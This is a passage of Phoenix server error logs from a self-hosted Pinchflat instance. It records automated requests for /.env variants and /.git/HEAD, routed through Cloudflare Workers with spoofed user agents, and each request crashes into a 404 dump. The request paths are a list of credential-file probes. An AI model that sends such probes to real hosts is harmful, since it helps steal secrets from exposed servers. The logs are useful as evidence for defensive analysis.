"cf-ray" => "a200fdb99dd87252-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "pcqb42a17bc6spko.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.23.245.109", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, (truncated) 02:50:31.571 [info] GET /.env.backup 02:50:31.572 [debug] QUERY OK source="settings" db=0.2ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.572 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.572 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.572 [error] #PID<0.3729.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb9cefc317a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "7d0b4131scit.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3729.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdb9cefc317a-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "7d0b4131scit.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.22.24.77"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLUFV42o8DgAAWKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb9cefc317a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "7d0b4131scit.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb9cefc317a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "7d0b4131scit.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 02:50:31.652 [info] GET /.env.save 02:50:31.653 [debug] QUERY OK source="settings" db=0.2ms idle=86.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.653 [debug] QUERY OK source="settings" db=0.2ms idle=86.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.653 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.653 [error] #PID<0.3730.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba08d8cb62-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "abagoforgans.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3730.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba08d8cb62-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "abagoforgans.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "104.23.245.108"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLnWTVhIhFUAAWLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba08d8cb62-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "abagoforgans.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba08d8cb62-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "abagoforgans.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3730.0>, (truncated) 02:50:31.660 [info] GET /.env 02:50:31.660 [debug] QUERY OK source="settings" db=0.4ms idle=92.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.660 [debug] QUERY OK source="settings" db=0.1ms idle=88.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.661 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.661 [error] #PID<0.3731.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba0d37329a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "1fe9b762ic72.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3731.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba0d37329a-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "1fe9b762ic72.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.24.76"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLpH6E1E8zQAAWMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba0d37329a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "1fe9b762ic72.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba0d37329a-ATL", "cf-visito (truncated) 02:50:31.668 [info] GET /.git/HEAD 02:50:31.668 [info] GET /.env.sample 02:50:31.669 [debug] QUERY OK source="settings" db=0.3ms idle=96.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.669 [debug] QUERY OK source="settings" db=0.1ms idle=15.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.669 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.669 [debug] QUERY OK source="settings" db=0.3ms idle=15.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.670 [debug] QUERY OK source="settings" db=0.2ms queue=0.4ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.670 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.669 [error] #PID<0.3732.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba087bf3a1-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "syin4855f394xhe6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3732.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, 